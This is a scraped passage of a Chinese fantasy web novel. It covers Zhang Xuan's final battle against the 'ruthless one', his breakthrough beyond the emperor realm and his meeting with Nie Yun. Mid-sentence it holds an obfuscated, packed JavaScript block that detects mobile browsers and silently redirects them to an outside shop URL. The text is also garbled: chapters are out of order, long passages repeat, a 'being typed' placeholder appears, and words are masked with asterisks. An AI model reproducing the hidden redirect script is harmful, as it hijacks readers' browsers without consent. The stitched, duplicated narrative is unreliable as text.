“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797373|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第117章我的计划天衣无缝 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 